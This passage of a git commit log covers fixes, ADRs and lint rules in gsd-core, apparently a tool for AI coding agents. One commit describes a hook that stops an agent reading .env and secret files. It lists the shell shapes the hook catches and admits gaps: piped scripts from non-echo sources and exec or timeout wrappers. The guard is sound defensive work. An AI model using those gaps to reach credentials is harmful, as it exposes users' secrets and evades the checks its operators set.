Two materially different mechanisms for the same CodeRabbit Nitpick
("Trivial | Quick win") both broke Windows Git-Bash reproducibly:
a single-quoted JSON-literal fallback ("bash -c: unexpected EOF ...
matching '''") and, after removing that, a plain `head -1 "$VAR"`
inside a nested command substitution ("unexpected EOF ... matching
'"'"). Both passed bash -n and the full local suite on Linux every
time; both failed the SAME test deterministically on Windows CI. Two
attempts at the same class of fix (nested-quote construction near
this exact step) is the retry limit - reverting to the original,
already-shipped, Windows-verified unguarded form rather than
continuing to guess at a third quoting mechanism for a Trivial-
severity nitpick. Logged as bug-221/bug-222 in .wolf/buglog.json for
anyone attempting this again: the fix belongs outside this specific
markdown-fence-driver test harness (e.g., a real .sh helper script)
if it's worth doing at all.

* fix(#4209): backfill changeset pr: field to the real upstream PR before push

Fork validation (davdittrich/gsd-core#17) needed pr: 17 to satisfy
changeset-lint's PR-number check while rehearsing there; this is the
last commit before the approved push to the real upstream PR
(open-gsd/gsd-core#4323), so the field points at that PR number again.

---------

Co-authored-by: Test <test@test.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-07 22:52:33 -04:00
Tom Boucher
38e4ce5f62 fix(#4186): anchored status vocabulary, record-session arg guard, recount pin (#4381)
* fix(#4186): anchored status vocabulary, record-session arg guard, recount pin

Three defects from #4186:

1. normalizeStateStatus ran a first-match-wins SUBSTRING chain over the
   free-prose body Status field, so prose merely mentioning a status word
   was silently rewritten to a credible wrong token (a .planning/ path in
   Italian prose -> status: planning; verifica -> verifying; completezza ->
   completed). Recognition is now an ANCHORED whole-field match against a
   declared vocabulary (STATUS_EXACT_TOKENS + STATUS_ANCHORED_PATTERNS,
   state-document.cts) — case/whitespace-tolerant, branch-order artifacts
   preserved (Planning complete -> planning; Phase complete — ready for
   verification -> verifying). The recorded lenient fallback (#3873 row 26)
   stands: unrecognized prose passes through verbatim. Read-side consumers
   (W011, statusline) ride the same function.

2. The progress recount skew (stray *-SUMMARY.md inflating
   completed_plans) is already dead on next via #1988/PR #2016
   (countMatchedSummaries pairs summaries to plans) — verified live and
   pinned with regression rows composed against the #4129/#4359 ratchet.

3. state record-session with no args executed and wrote STATE.md; it now
   errors like state update (stopped-at or resume-file required), handler-
   side so SDK callers are covered too. Four tests pinning the bare-call
   write are updated to the new contract.

* fix(#4186): update status pins to the anchored vocabulary contract

Bench round 1 follow-ups:

- Legacy bare 'Milestone complete' kept as reader-side vocabulary
  (ADR-2207 removed the writers, not recognition of legacy files).
- state.test pins updated: 'Paused at Plan 3' and round-trip
  'Executing Plan 5' were pins of the substring guessing itself —
  the round-trip now uses the real handler form 'Executing Phase 5'.
- record-session no-op/no-fields tests repurposed to the usage-error
  contract (CLI + SDK-level ExitError), byte-unchanged assertions kept.
- statusline tests repinned: vocabulary values collapse to keywords;
  narratives render the documented first-word fallback instead of a
  guessed token. Hook doc comment updated to match.
- docs-guard exempt baseline: state.test.cjs now cites docs/CLI-TOOLS.md.
- docs/CLI-TOOLS.md: record-session signature notes the required flag.

* fix(#4186): repair a dangling sentence in the schema docstring

* test(#4186): bound the completed_plans scan regex (#2128 class)

* chore(#4186): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>
2026-09-06 17:08:24 -04:00
Tom Boucher
aad04f4e9a docs(#4400): ADR-4139 — the compact-content seam (#4410)
* docs(#4400): ADR-4139 — the compact-content seam

Phase 0 of epic #4139. Locks the design before any code lands.

#4139's stated mechanism cannot reach the stream it exists for: 58 of 72
shipped commands deliver their whole workflow file through an eager
@-include, which the host expands before any project config is in context.
An in-content gate is evaluated after those bytes are already paid.

The ADR declines the obvious fix (convert the 58 execution_context blocks
to runtime Reads) because that removes the host guarantee for every user,
not only opted-in ones — a global install shares one skill tree, so an
@-include cannot be conditional. It instead keeps every @-include exactly
where it is and splits what sits behind them: the canonical path becomes a
runnable spine, elaborations move to a sibling detail file read at runtime.
A missed Read then degrades to "runs correctly with fewer tokens", never to
"runs with no instructions".

Also records: the rename to workflow.compact_content, the re-pitch onto
ADR-1610's context-rot argument rather than the cost argument ADR-1610
discounts, partition-not-duplication (which dissolves the dual-maintenance
cost the Feature Review called disqualifying), the guard-scope and
NEW_FILE_CAP mapping for the new subtree, and an argued reconciliation of
the acceptance criteria this design does not meet literally.

Corrects ADR-3646 §Context: it cites #3647 as open; #3647 closed
2026-09-01 as a duplicate of #3606. ADR-3646's Decision is unaffected —
it explicitly disclaimed any dependence on #3647's state. The residual
prose-dispatch variance named in #3647's own closure thread is unresolved,
and this ADR routes around it rather than assuming it away.

Refs #4139
Closes #4400

* docs(#4400): fold the two orthogonal review findings into ADR-4139

Code review (isolated context) and security review (isolated context) both
returned findings. Fixed here rather than carried.

Critical, from code review: the ADR repeated earlier research's claim that
discuss-phase, manager and pause-work all reach a workflow by runtime Read.
manager and pause-work carry plain eager @-includes and are inside the 58,
not outside. discuss-phase is the only precedent, and it is one file. The
Open Questions section is corrected with it.

The NEW_FILE_CAP mapping was wrong in a way that changes the layout. It
lives at tests/helpers/emitted-diff.cjs:96, not in workflow-size-budget,
and its own doc comment records that it is a hard cap, not ack-able, and
NOT tier-exemptible -- the pre-#2724 test-file version was. So a single
detail.md holding plan-phase.md's elaborations is blocked outright with no
exemption path. Detail content is now one or more parts under
workflows/<name>/detail/, each below the cap, named by the spine in the
dispatch-table shape discuss-phase.md already uses.

commit-files-pathspec is in scope and earlier research called it
irrelevant. Per CONTRIBUTING.md:1164-1170 it sweeps every .md under
gsd-core/workflows/ for unscoped commit-seam invocations. Added to the
guard table.

Two byte figures were inherited rather than measured, against this ADR's
own evidence note. Templates and agents re-measured; the table now carries
the method and the exact numbers.

From security review: "a spine that has shed a protected-content marker
fails" never defined what a marker was, leaving the strongest check in the
set resting on a prose-category judgment. Protection is now a literal
greppable sentinel in the existing gsd: comment namespace, and the guard
rule has no discretion in it. Also added: an explicit statement that the
detail path is never user- or project-supplied and cannot be shadowed by a
project-local file, and an exact-version pin commitment for gpt-tokenizer.

Code review also found a real hole in the central fail-safe argument:
spine sufficiency is verified once at split time and never again, so
load-bearing procedural text carrying no sentinel could later drift into a
detail part with every check green. Sufficiency is not machine-decidable,
so a fifth ongoing check is added -- a spine that loses lines which
reappear in its parts fails unless the PR declares the boundary move. The
ADR now states plainly that this is authoring discipline with a forced
checkpoint, not a structural invariant, and that the partition relocates
the Feature Review's cost rather than fully eliminating it.

Refs #4139
Refs #4400

---------

Co-authored-by: sim <sim@local>
2026-09-06 12:24:33 -04:00
Tom Boucher
1db726ebbf feat(#3806): canonize the Review Dispositions Ledger contract (#4345)
* test(#3806): add parity tests for the Review Dispositions Ledger contract

Failing-first: asserts references/planner-reviews.md, workflows/plan-phase.md,
and agents/gsd-plan-checker.md agree on a single canonical "Review Dispositions
Ledger" heading, its round-scoping, L##@{sha} anchor format, and append-only
supersession rule. These fail until the canon and its two references are added.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(#3806): canonize the Review Dispositions Ledger contract

Promote the existing planner-reviews.md Step 4 return-payload tables
(Review Feedback Addressed/Deferred) into a canonical `## Review
Dispositions Ledger` PLAN.md section, stated once in planner-reviews.md
and referenced (not restated) from plan-phase.md's
<review_incorporation_contract> and gsd-plan-checker.md's Review
Incorporation dimension. Adds round-scoping (`### Round {N} —
{REVIEWS_sha}`), a `L##@{sha}` line-anchor format so a REVIEWS.md
reference survives the file being rewritten each round, and an
append-only supersession rule. Scoped to part 1 only per the
maintainer's approved-feature verdict — the deterministic lint/check
verb (part 2) is explicitly deferred to a follow-up.

Also: ADR-3806 recording the decision, a docs/features/ fragment
(FEATURES.md is generated), and a changeset fragment.

Closes #3806

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): fenced-example count bug and lint findings from review

- tests/plan-review-convergence.test.cjs: the "heading exactly once"
  test counted the canonical heading text globally, so it also matched
  the illustrative fenced-code example in planner-reviews.md that shows
  the same heading as sample content, always failing 2 !== 1. Rewritten
  as a bounded line scanner that skips fenced blocks (found by an
  isolated adversarial review pass). Also bounded an unbounded regex
  quantifier over readFileSync content flagged by
  local/no-unbounded-quantifier.
- docs/features/review-dispositions-ledger.md: match house fragment
  style (bold-lead paragraphs, not #### headings) per the Standards-axis
  review; regenerated docs/FEATURES.md.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): fit reference-cite fix within size hard caps; ack growth

Trims the plan-phase.md / gsd-plan-checker.md reference-cite text to a
single short clause pointing at gsd-core/references/planner-reviews.md
(also fixes the bare `references/planner-reviews.md` cite the #3576
shipped-reference-cites gate rejects), bringing both files back under
their SIZE hard caps and the plan-phase.md phase6 shrink-only baseline.
Both files still grow slightly versus origin/next, acknowledged below
per ADR-2719's emitted-drift-ack contract.

Emitted-Drift-Ack-Growth: gsd-plan-checker.md — adds a short pointer (in the existing Review Incorporation bullet) to the canonical Review Dispositions Ledger location (#3806); stays within the LARGE hard cap.
Emitted-Drift-Ack-Growth: plan-phase.md — adds a short pointer (in the existing review_incorporation_contract bullet) to the canonical Review Dispositions Ledger location (#3806); stays under the XL hard cap and the phase6 shrink-only baseline.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): correct malformed Emitted-Drift-Ack-Growth trailer block

The previous commit's two Emitted-Drift-Ack-Growth trailers were
separated from the Co-Authored-By trailer by a blank line, so git's
own trailer parser (which tests/helpers/emitted-runtime.cjs reads via
`%(trailers:key=...)`) only recognized the last contiguous block
(Co-Authored-By) and treated the Ack-Growth lines as ordinary body
text — invisible to the emitted-attribution gate, not malformed data.
Restating them here as one contiguous trailer block, git log over the
PR range aggregates trailers from every commit, so this is additive.
Emitted-Drift-Ack-Growth: gsd-plan-checker.md — adds a short pointer (in the existing Review Incorporation bullet) to the canonical Review Dispositions Ledger location (#3806); stays within the LARGE hard cap.
Emitted-Drift-Ack-Growth: plan-phase.md — adds a short pointer (in the existing review_incorporation_contract bullet) to the canonical Review Dispositions Ledger location (#3806); stays under the XL hard cap and the phase6 shrink-only baseline.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): isolate the ack-trailer paragraph as its own trailer block

Git's trailer parser requires the trailer paragraph to be the message's
final paragraph, preceded by a blank line, and to contain nothing but
trailer-shaped lines. The prior commit's blank line before the trailer
lines was missing, which folded the leading Emitted-Drift-Ack-Growth
lines into an ordinary prose paragraph.

Emitted-Drift-Ack-Growth: gsd-plan-checker.md — adds a short pointer (in the existing Review Incorporation bullet) to the canonical Review Dispositions Ledger location (#3806); stays within the LARGE hard cap.
Emitted-Drift-Ack-Growth: plan-phase.md — adds a short pointer (in the existing review_incorporation_contract bullet) to the canonical Review Dispositions Ledger location (#3806); stays under the XL hard cap and the phase6 shrink-only baseline.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3806): backfill PR #4345 into changeset and ADR

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-05 18:50:27 -04:00
Tom Boucher
17e163f15c docs(#4333): document the ADR Amends/Amended-by convention (#4334)
* docs(#4333): document the ADR Amends/Amended-by convention

Two patterns for amending an accepted ADR are established practice —
an in-place `## Amendment (YYYY-MM-DD)` section, and a separate ADR
that declares `Amends` with a reciprocal `Amended by` back-link — but
only the first was ever written down. #4030 shows the cost: a
contributor concluded no ADR owned a contract that ADR-857 already
covers, because nothing said the second pattern (used by ADR-1244 and
ADR-2782 to extend ADR-857 itself) existed.

Document both patterns in docs/contributor-standards.md, note the
Amends/Amended-by reciprocity rule in docs/adr/README.md alongside the
existing Supersedes/Subsumes rule (and that it isn't yet gated by
scripts/gen-adr-index.cjs the way those are), and point CONTRIBUTING.md's
new-ADR process at the amendment path for revisiting an existing one.

Closes #4333

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#4333): fix imprecise Amends/Amended-by precedent citations

Orthogonal review caught two inaccuracies: PR #1643 doesn't match the
in-place dated-section pattern (it rewrites the original Decision text
rather than appending an untouched dated section), and ADR-1244's
relationship to ADR-857 is prose ("extended by"), not the structured
Amends/Amended-by header field. ADR-2782 is the verified precedent for
the structured field pair — its one Amends field names four targets
(857, 894, 1016, 1244), all four carrying the reciprocal back-link.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-05 16:45:57 -04:00
Michel Moreira
86b745b48b fix(#4270): forward Codex spawn model routing (#4281)
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-05 14:20:26 -04:00
Cody Anderson
77e2472ca0 enhance(#4221): replace installer Read() deny rules with a managed secret-read guard hook (#4236)
* feat(#4221): gsd-secret-read-guard PreToolUse hook + registration

Add hooks/gsd-secret-read-guard.js, a blocking PreToolUse guard on
Read|Grep|Bash that denies reads of .env, .env.<suffix> and .secrets
(the .env.example/.sample/.template/.dist templates stay readable).
Read checks file_path; Grep checks an explicit path and judges the glob
per brace alternative; Bash runs a two-pass token scan (quotes, comments,
redirects with fd digits, separators, $( )/backtick/<( ) recursion,
heredoc bodies never scanned as commands, nested bash -c/eval rescans,
git <ref>:<path> shapes) with a closed non-reading exemption set for
existence checks. Fail-open crash policy; 1 MiB commands are denied as
command-too-large; more than 64 glob alternatives as glob-too-complex.

Why: Claude Code 2.1.259 makes every `cd DIR && grep …` compound prompt
for approval whenever any Read() deny rule exists, even in auto mode. A
hook denial is not a permission rule and never arms that check. The
installer-written deny rules are retired in the follow-up commit.

Registration: hooks.json (Read|Grep|Bash, timeout 5), build-hooks
HOOKS_TO_COPY, managed-hooks-registry, runtime-hooks-surface (blocking
guard with BLOCKING_GUARD_TIMEOUT_S; Kimi ReadFile|Grep|Shell),
shell-command-projection managed sets, installer-migration-report,
OpenCode/Kilo plugin (grep tool mapping, include -> glob, dispatch),
docs tables in five locales, ADR-766 always-on list, regen:derived
fixtures, and a new table-driven unit suite.

* test(#4221): pin the secret-read guard in existing hook gates

Register gsd-secret-read-guard.js in every existing hook gate: the
hooks-crash-policy table (deny row; 6 -> 7 deny cases), plugin-manifest
REQUIRED_HOOKS and its Read|Grep|Bash group, docs-hooks-table-parity
EXPECTED_SURFACE_HOOKS, install.test MANAGED_JS_HOOKS, install-minimal-
hooks JS_HOOKS/BLOCKING_GUARDS, portable-node-runner GUARD_HOOKS,
kilo-upgrades PLUGIN_GUARD_HOOKS, the Kimi normalization-parity and
typed-payload floors, the OpenCode adapter (grep mapping, include ->
glob, three dispatch tests) and a Kimi TOML matcher assertion.

* fix(#4221): retire installer Read() deny rules (legacy filter)

Rename GSD_CLAUDE_DENY_PERMISSIONS to GSD_CLAUDE_LEGACY_DENY_PERMISSIONS
and stop adding the three Read(.env) / Read(.env.*) / Read(.secrets)
strings. mergeClaudePermissions now only filters them out of an existing
permissions.deny: an absent deny key stays absent, a malformed one is
still repaired to [], and an array emptied by the filter is deleted so
no `"deny": []` residue is left. Uninstall filters the same legacy list
and, symmetric with the Antigravity branch, drops an emptied allow or
deny key and an emptied permissions object.

Unlike the #2278 allow-side migration there is no surviving current
deny list, so the constant is renamed rather than mirrored. Removal is
byte-exact: a hand-written identical rule is indistinguishable from the
installer's and is removed too (the manifest never recorded permission
strings). USER-GUIDE and CONTEXT.md updated.

* test(#4221): flip install-regressions deny-rule assertions to the retired shape

The fresh-merge, non-destructive merge, idempotency, end-to-end install,
reinstall and uninstall assertions now expect no Read(.env*) deny rules
and no permissions.deny key on a fresh install; the deny:null repair case
is kept. A new describe block covers the legacy filter: retired strings
removed with a user entry kept, partial sets, near-miss strings
untouched, idempotency, GSD-only deny array deleted, a pre-existing
empty deny preserved, and uninstall symmetry for allow/deny/permissions.

* chore(#4221): add changeset fragment for PR #4236

* fix(#4221): case-fold names; scan shell stdin and xargs pipes

Review round 1 (trek-e):

- Blocker: secret-name matching is now case-insensitive in the Read,
  Grep (path and glob) and Bash paths, so `.ENV` / `.Secrets` on a
  case-insensitive filesystem are recognized as the same secret file.
- Major: a shell interpreter's script is now scanned wherever it comes
  from. The tokenizer keeps heredoc bodies as per-segment tokens and
  records separator operators; pass 2 groups by segment id and resolves
  bash/sh/zsh/dash/ksh/su invocation mode: `-c` (including combined
  `-lc`) scans the script operand, a file operand is checked as a file
  (a `<( )` operand's echo/printf output is reconstructed), otherwise
  stdin is the script and heredocs, here-strings and a piped echo/printf
  source are scanned. `eval` joins all its operands; `source`/`.` handle
  process substitution. Data heredocs (`cat <<EOF`, the commit-message
  shape) stay unscanned.
- Major: `… | xargs <cmd>` checks the upstream segment's operands as
  file names when the sub-command reads (`echo .env | xargs cat`,
  `find . -name .env | xargs cat`); `-a`/`--arg-file` suppresses the
  inference; a shell sub-command's `-c` script is scanned.

Header, USER-GUIDE bullet and changeset updated; documented gaps now
include piped scripts from non-echo sources and `exec`/`timeout`
wrappers. 60 new suite cases pin the block and allow shapes.

---------

Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-05 04:00:08 -04:00
Tom Boucher
1fe85cd43e chore(#4244): ESLint rules for the #4220 Windows dirname-walk / TMPDIR-triad bug class (#4246)
* fix(#4244): repoint TEMP/TMP alongside TMPDIR and fix the sweepProtectSet fixed-point walk

Repo-wide sweep (ahead of adding lint rules for these exact bug classes)
found both incident patterns still live and unfixed on `next`:

- scripts/run-tests.cjs's sweepProtectSet walk stopped on
  `cur !== runTempRoot && cur.length > 1` — a POSIX-only sentinel.
  win32 dirname('D:\') is a fixed point (length 3, never satisfies
  `> 1`... wait, it does satisfy length>1), so a selected file living
  outside runTempRoot (the common case) spins the walk forever on
  Windows. Extracted a pure, exported computeSweepProtectSet helper
  that terminates on dirname(cur) === cur instead, with in-process
  RuleTester-style coverage for both win32 and posix paths.

- tests/run-tests-temp-root.test.cjs's own #4020 regression test set
  only TMPDIR on its runNode(...) child env. Node's os.tmpdir() never
  reads TMPDIR on Windows (only TEMP, then TMP), so the redirect
  silently no-oped there — masked because Windows CI died in the
  dirname-walk hang above before ever reaching this test.

- tests/config-schema.property.test.cjs's fallow config-set test had
  the same TMPDIR-only pattern, direct process.env assignment this
  time, restored in its own finally block.

Origin: #4220 and its shared root cause #4020.

* feat(#4244): require-full-tmpdir-triad and no-unbounded-dirname-walk ESLint rules

Two custom local ESLint rules catch the #4220 / #4020 Windows CI hang bug
class at author time, joining the ADR-1703 DEFECT.WINDOWS-TEST-PORTABILITY
catalog. Neither eslint-plugin-unicorn nor eslint-plugin-n has a rule for
either shape.

- local/require-full-tmpdir-triad: flags a TMPDIR environment override
  (direct process.env.TMPDIR assignment, or a TMPDIR property in a
  spawn-like call's env: object literal) not accompanied by TEMP and TMP
  in the same scope. Node's os.tmpdir() never reads TMPDIR on Windows.
  Registered on tests/**/*.cjs, matching the require-userprofile-with-home
  precedent.

- local/no-unbounded-dirname-walk: flags a while/do-while loop reassigning
  from dirname() with no fixed-point termination guard
  (dirname(cur) !== cur, or path.parse(cur).root). path.dirname() is a
  no-op at the platform root, but the value differs by platform
  (win32 'D:\' is length 3, posix '/' is length 1), so a POSIX-shaped
  length/equality bound never fires on Windows. Registered on BOTH
  tests/**/*.cjs and scripts/**/*.cjs — the real #4020 bug lived in
  scripts/run-tests.cjs, not tests/.

Both rules join the zero-escape-hatch discipline already established for
this catalog (no bespoke comment marker; PROTECTED_RULES in
tests/portability-rule-disable-ban.test.cjs independently bans
eslint-disable of either). ADR-1703 and its two companion contributing
docs get an amendment documenting the mechanism, code examples, and the
repo-wide sweep (three live instances found and fixed in the prior
commit; no others found). CI test-scope selection updated so an edit to
either rule or to scripts/run-tests.cjs re-runs the right suites.

* fix(#4244): no-unbounded-dirname-walk must analyze a single-condition loop test too

checkWhile bailed out early unless node.test was a LogicalExpression,
so a single-condition loop -- while (cur !== root) { cur = dirname(cur); } --
was silently skipped and never reported. That is the EXACT minimal
shape of the original #4020/#4220 bug, and it is literally the shape
used by this rule's own shipped RuleTester fixtures (the "equality-only
bound" invalid cases), which were failing (0 errors reported, 1
expected) until this fix -- confirmed by running RuleTester directly
against both fixtures, not just via a passing test-runner exit code.

The conjunct-collection helper already handled a non-LogicalExpression
test correctly (it pushes a single node as the sole conjunct); only the
early-return gate needed to stop requiring a compound && / || test.

Verified: RuleTester run directly against both previously-broken
fixtures plus two new sanity cases (a guarded single-condition loop
stays valid; an unrelated single-condition loop stays silent), and a
fresh `npx eslint .` across the whole repo remains clean (no other
single-condition dirname-walk shape exists in the tree).

* fix(#4244): require-full-tmpdir-triad must recognize a destructured child_process call

isSpawnLikeCallee only recognized a MemberExpression callee
(child_process.spawnSync(...)) or a bare identifier in
ENV_LOCAL_HELPER_NAMES (runNode). A destructured import called bare --
const { spawnSync } = require('child_process'); spawnSync(...) -- has an
Identifier callee named "spawnSync", which matched neither branch, so
the whole env-literal check was skipped. gsd-test caught this: both
"invalid: child_process.spawnSync with TMPDIR-only env" cases in
tests/require-full-tmpdir-triad.rule.test.cjs were failing (0 errors
reported, 1 expected).

Widened the bare-identifier branch to also match any of the known
ENV_CHILD_PROCESS_METHODS names, matched by name only -- the same
lightweight convention this repo's other eslint-rules/*.cjs use (e.g.
no-hardcoded-tmp.cjs's isFsMethodCall), not full import data-flow
tracing.

Verified: RuleTester run directly against all 11 cases in
tests/require-full-tmpdir-triad.rule.test.cjs (not just the two that
were failing), all pass; a fresh npx eslint . and npm run lint:ci
across the whole repo remain clean.

* fix(#4244): correct a stale escape-hatch reference in a test comment

The comment on the "length comparison against another expression's
length" case referenced a "// allow-dirname-walk marker" that doesn't
exist -- the rule has zero comment-based escape hatches by design
(ADR-1703), and an earlier draft's marker mechanism was removed before
this branch's first commit. Spec-axis review caught the stale
reference. No behavior change; comment-only.

* chore(#4244): backfill changeset PR number (pr:0 -> pr:4246)

---------

Co-authored-by: sim <sim@local>
2026-09-03 14:14:09 -04:00
Tom Boucher
bf4485ada2 enhance(#3717): make the edge probe's shape cues language-aware via an optional text_en field (#4156)
* test(#3717): add failing-first coverage for text_en language-aware classification

Adds unit tests for the not-yet-implemented text_en field on Requirement
(fallback selection, empty/whitespace/non-string rejection, shapes-override
precedence), a SHAPE_CUES/VALID_SHAPES parity guard (RULESET.GENERATIVE-FIX),
and workflow-prose contract tests asserting spec-phase.md Step 5.5 documents
populating text_en for response_language projects. All new tests are RED
until src/edge-probe.cts and the workflow docs are updated.

* feat(#3717): make edge-probe shape classification read an optional text_en field

Requirement gains an optional text_en; classifyShape's own signature stays
untouched (a locked, directly-tested export), and the text_en ?? text
selection is pushed to proposeEdges' single call site instead. text_en is
validated fail-closed: an empty or whitespace-only value throws rather than
silently winning the ?? fallback and degrading classification to zero shapes.

This makes the #2773 doc-only translation convention an explicit,
validatable field instead of an invisible instruction, per the approved
Form-1 scope on #3717.

* docs(#3717): document the text_en field across spec-phase, reference and how-to docs

Updates Step 5.5's response_language instructions, the edge-probe reference
Inputs contract, the FEATURES.md fragment, and the non-English how-to guide
to describe the new text_en field: text keeps the requirement's own wording
in all cases, text_en (when populated) is the engine-only English rendering
the classifier prefers.

* docs(#3717): record the text_en locked-surface change in CONTEXT.md and ADR-550

Updates the Edge Probe Module glossary entry to describe the text_en field
and its fail-closed validation, and appends an ADR-550 amendment recording
why this is additive and does not re-open the #652 LLM-classifier rejection
(text_en is a plain field read by the existing deterministic regex
classifier, not a new model-dependent surface).

* docs(#3717): add changeset fragment and regenerate FEATURES.md

pr:0 placeholder — backfilled with the real PR number after the PR opens.

* docs(#3717): attribute the text_en machine check to engine-level validation, not prose tests

Code-review (Spec axis) finding: the workflow-prose contract tests and the
ADR-550 amendment overclaimed themselves as "the machine check the #2773
doc-only stopgap lacked." That check is actually engine-level
(validateRequirement/classifyShape, covered in tests/edge-probe.test.cjs) —
the prose tests are the same style of assertion #2773 already used. Reworded
both to attribute the claim correctly.

* fix(#3717): rewrap spec-phase.md so the id-unchanged sentence stays on one line

The #3717 rewrite of Step 5.5's response_language paragraph moved a line
break so "requirement `id`s" ended one physical line and "are never
translated" started the next. The pre-existing #2773 regression test
(tests/edge-probe-spec-phase-contract.test.cjs) asserts id + "never
translated" on the SAME line (no \n in between, matching git's own
line-oriented prose), so the reflow silently broke it. Rewrapped so the
sentence lands on one line again, verified against every #2773/#3717
regex assertion in that test file.

Emitted-Drift-Ack-Growth: spec-phase.md — #3717 adds text_en documentation to Step 5.5 (response_language paragraph + REQS_JSON heredoc comment); this growth is this PR's own diff, not incidental drift.

* chore(#3717): backfill changeset PR number

pr:0 -> pr:4156 now that the PR exists.

---------

Co-authored-by: sim <sim@local>
2026-09-01 21:39:53 -04:00
Tom Boucher
7ca5479f97 docs(#3672): amend ADR-1239 for quick-batch concurrency and single-writer contract (#4146)
Locks the architecture gate the maintainer required before any /gsd:quick-batch
implementation PR (epic #3344, condition #2): canonical terminology, the
foreground-coordinator single-writer invariant over BATCH.json/STATE.md/roadmap
metadata, the dispatch.maxConcurrency sub-field (fail-closed to 1), the
GSD_DISPATCH_MAX_CONCURRENCY live-capacity transport and its precedence over the
descriptor value, the gsd-tools query dispatch-capacity contract, the
dispatch.isolation interaction, and backpressure/recovery/deterministic-merge
rules. Docs-only; closes its own Phase 0 sub-issue, not the epic.

Co-authored-by: sim <sim@local>
2026-09-01 15:53:17 -04:00
BeeHiggs
1a358ce0fd feat(#2761): bracket-tolerant read path — roadmap/validate/verify/state recognize bracket ids (epic #612 PR-2) (#2867)
* feat(#2761): gated heading-intro selection + one bracket identity grammar

Foundation. Two owner-level changes plus a federated convention resolver; no
reader consumes them yet.

1. GATED SELECTION, not an ungated widening.

   Widening every heading matcher requires the claim "no legacy ROADMAP contains
   a `[CODE.MM]` bracket followed by a digit", and that is false:
   `### [RFC.2119] 5:`, `### [v1.0] 2024:`, `### [ADR.612] 3:` and
   `### [ISO.8601] 2026:` are ordinary headings, and a widened reader claims each
   as a phase — moving phase_count and total_phases and adding W006 on projects
   that never opted in. No narrowing rescues it: the premise is about documents
   we do not control.

   `phaseHeadingPrefixSrcFor(baseline, convention, capturing?)` selects the
   pattern SOURCE at construction time. A project whose resolved
   `phase_id_convention` is not exactly 'bracket' compiles the same source string
   it compiled before. `baseline` is explicit because whether a site spells the
   any-bracket prefix or a bare `Phase\s+` is a fact about that site's history:
   handing the wider grammar to a bare site retro-grants tolerance it never had,
   in both directions — warnings appear, and a warning that fires today vanishes.

   Both bracket forms CAPTURE. `[GSD.999] Phase 07:` previously matched through
   the base alternative, which captures nothing, so a reader saw no bracket, fell
   back to the legacy token rule, and counted a labeled icebox heading while
   excluding the label-less one beside it — two derivations of one ROADMAP
   disagreeing.

2. ONE bracket identity grammar, one width rule.

   The milestone width is reconciled with the emit validator: pad2 output, so
   two digits or 3+ with no leading zero. Earlier spellings diverged in both
   directions — admitting `002`, which the validator rejects, and a bare `0` pad2
   never produces — and the section recognizers accepted `[GSD.2]`, which SCOPED
   a milestone no phase heading could then resolve into, recreating the
   on-disk-count fallback this epic removes. An unpadded bracket is now uniformly
   malformed: it scopes nothing, bounds nothing, sections nothing. W005 on its
   directories is the surfacing signal.

   The milestone field is boundary-anchored, so a malformed run cannot match by
   its prefix (`GSD.002-01` read as sentinel `00`). Recognition stays
   case-insensitive because readers compile `/i`, but identity helpers match
   `[A-Z]`, so a captured id is folded first — otherwise `### [gsd.999] 07:`
   failed every sentinel test. The qualified key shares the width, the `(?=-|$)`
   boundary and the single-sub-phase shape of the directory token, because
   phaseTokenMatches returns unconditionally on a qualified hit: a key matching a
   directory isPhaseDirName rejects would be a final wrong answer.

3. resolvePhaseIdConvention federates workstream -> root exactly as
   config-loader does — including that root is a fallback only when a WORKSTREAM
   is active, so a project-scoped directory stands alone. loadConfig cannot serve
   this: it merges against CONFIG_DEFAULTS and drops keys it does not know, and
   this key is not among them. It governs the bracket-selection reads ONLY.

PHASE_HEADING_PREFIX_SRC is left byte-identical: PR-1 shipped it, nothing
consumes it, and it is superseded rather than redefined.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* feat(#2761): roadmap.cts selects its heading grammar from the convention

Six matchers build their intro through the gated selector, and
cmdRoadmapAnalyze / cmdRoadmapGetPhase / getRoadmapPhaseWithFallback each
resolve the convention ONCE per command and thread it down.

Three sites take the any-bracket baseline (they already tolerated
`[anything] Phase N`); three take label-only (they spelled a bare `Phase\s+`).
Handing the wider grammar to a label-only site retro-grants tolerance it never
had — and not only by adding matches: on a legacy repo an unchecked
`- [ ] **[v1.0] Phase 05: Thing**` bullet would start SUPPRESSING the W006 that
fires today.

Sentinel handling under bracket ADDS a rule rather than replacing one: a
bracketed heading is a sentinel when its bracket milestone is reserved
(`### [GSD.999] 01:`) OR when its token is, so the engine-wide 0/999 backlog
convention keeps applying to `### [GSD.02] 999:`. Replacing the token rule let a
mid-migration ROADMAP — bracket headings plus a legacy backlog block, exactly
the content this epic targets — add entries to the progress denominator. The
captured id is folded before the identity test, so a lowercase
`### [gsd.999] 07:` is excluded too.

The DIRECTORY read is threaded too. `cmdRoadmapAnalyze` resolves the convention
once and hands it to all four of its heading/checklist patterns, but the single
`phaseTokenMatches` call that decides `disk_status`, `plan_count`,
`summary_count`, `has_context` and `has_research` was left two-argument — so
every canonical `{CODE}.{MM}-{PP}-slug` directory read as `no_directory` with
zero counts, on the PR's own headline verb, while the SAME build resolved those
same directories correctly in three other places on the same repo (W006/W007 via
phaseTokenFromDir, `state json` via the milestone filter, and the W021
milestone-complete read through this very helper's three-argument form). It
failed ONLY for the directory shape the convention exists to name: a
mid-migration bracket repo carrying legacy `01-one` dirs resolved fine, which is
why nothing caught it. Measured, bracket vs its flat-legacy twin:
